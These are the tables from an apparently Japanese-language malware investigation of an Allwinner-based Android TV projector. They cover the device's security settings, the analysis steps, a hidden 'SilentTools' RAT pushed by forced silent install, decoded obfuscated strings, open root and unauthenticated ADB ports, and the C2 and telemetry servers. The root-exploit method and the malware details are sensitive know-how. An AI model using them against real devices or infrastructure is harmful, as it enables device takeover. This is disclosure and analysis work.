内部モデル名NT10
SoCAllwinner sun50iw12p1(ARM 32ビット)
オペレーティングシステムSpectraOS(Android 11、カーネル5.4.99)
実際のビルドフィンガープリントAllwinner/h713_tuna_p3/h713-tuna_p3:11
スプーフィングされたビルドフィンガープリントADT-3/adt3/adt3:11/RP1A.201005.006
SELinuxPermissive(強制なし)
プラットフォーム署名キー公開AOSPテストキー
OEM証明書CN=蓝鲨、OU=www.bsh.me、C=CN
ファームウェアチャンネルHY260Pro_SpectraOS_TPYB
ステップアクション結果
1Wiresharkによるネットワークトラフィックのキャプチャstore-api.aodintech.comへのHTTPトラフィック
2gzip圧縮されたC2応答のデコード7個のアプリ(隠しアプリ「SilentTools」を含む)
3AES-CBCによるダウンロードパスの復号鍵 [REDACTED]、.bppファイルへのURL
4/oem/customer.prop によるルートエクスプロイトプロパティ注入後 uid=0(root)
5/data、/oem、/system のフォレンジックダンプAPK、データベース、設定
6StoreOS DEXの静的解析pm install -r -d、バイトリバーサル保護
7reverseLenメカニズムのリバースエンジニアリングアンチ解析保護の理解
8バイトリバーサル保護の突破復号され解析可能なSilentSDK DEX
9SilentSDK文字列のXOR復号C2ドメイン api.pixelpioneerss.com 確認
103つのソースにわたるハッシュ検証MD5/SHA-256が完全一致
11マルウェアダウンロードプロセスのリバースエンジニアリングサーバーはまだオンライン
12マルウェアのリバースエンジニアリングプラグインベースのRATフレームワーク
アプリパッケージ表示強制サイレントインストールサイレントアンインストール起動タイプ
YouTubecom.google.android.youtube.tvtruefalsefalsefalse0
Disney+com.disney.disneyplustruefalsefalsefalse0
Netflixcom.netflix.mediaclienttruefalsefalsefalse0
Chromecom.android.chrometruefalsefalsefalse0
Prime Videocom.amazon.amazonvideo.livingroomtruefalsefalsefalse0
BrowseHerecom.tcl.browsertruefalsefalsefalse0
SilentToolscom.hotack.silentsdkfalsetruefalsetrue1
難読化呼び出し結果機能
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...})api.pixelpioneerss.comC2ドメイン
m36g({7,-68}, {116,-44,...})shRuntime.exec()用のシェルバイナリ
m36g({-83,-92,-19,...}, {-50,-52,...})chmod 777シェルコマンド
m36g({-47,-3,-68,106,-76}, {-1,-119,...}).tempダウンロード用の一時ファイル拡張子
m36g({125,61,58,...}, {21,73,78,...})https://プライマリプロトコル
m36g({0,90,58,...}, {104,46,78,...})http://SSLエラー時のフォールバック
m36g({-22,78,57}, {-71,29,117,...})SSLTLSプロトコル
m36g({-15}, {-112,...})aカスタムヘッダー名 → 値 1003
m36g({17,67,42}, {124,39,...})md5MessageDigest.getInstance("md5")
m36g({-15,90,-128,21}, {-122,51,...})wifigetSystemService("wifi")
m36g({-48,89,-25,-31,...}, {-73,60,...})getprop wifi.interfaceシェルフォールバック:インターフェース名読み取り
m36g({-95,-26,-107,-91,...}, {-62,-121,...})cat /sys/class/net/シェルフォールバック:MAC読み取り(プレフィックス)
m36g({6,-88,45,-126,...}, {41,-55,...})/addressシェルフォールバック:MAC読み取り(サフィックス)
m36g({10,39,105,25,...}, {58,21,...})02:00:00:00:00:00Android偽MACセンチネル(API 23+)
ポートUID説明
65528root (0)su デーモン
5555root (0)認証なしのADB
7889/7890system (1000)不明なサービス
10012/10013system (1000)ファクトリーデバッグ?
サーバーエンドポイント機能
store-api.aodintech.comPOST /sign/app/listアプリ配信
sta.smartinnovate.netGET /*.jarペイロード配信
cdn-store.aodintech.comGET /*.bppAPKダウンロード
event-api.aodintech.comPOST /reportテレメトリー
api.pixelpioneerss.comPOST /(random)SilentSDK RAT C2
bur.thedynamicleap.comPOST (GZIP+AES)SilentSDKテレメトリー流出
pb-api.aodintech.comGET /api/collections/...広告設定
ota.triplesai.com:8080POST /V1/Ota/Checkファームウェアアップデート
api.ipdatacloud.comGET /v2/queryIP地理位置情報
euads-o.api.leiniao.com—セカンダリ広告サーバー
connect.rom.miui.com—Xiaomiテレメトリー
実際の値
ro.build.fingerprintADT-3/adt3/adt3:11—
ro.product.build.*—Allwinner/h713_tuna_p3
ビルド日付—Tue Apr 22 15:20 CST 2025
C2サーバーレスポンス5df097591d694...—
我々のデコードしたAPK5df097591d694...e5a193c31526a...
外部分析—e5a193c31526a...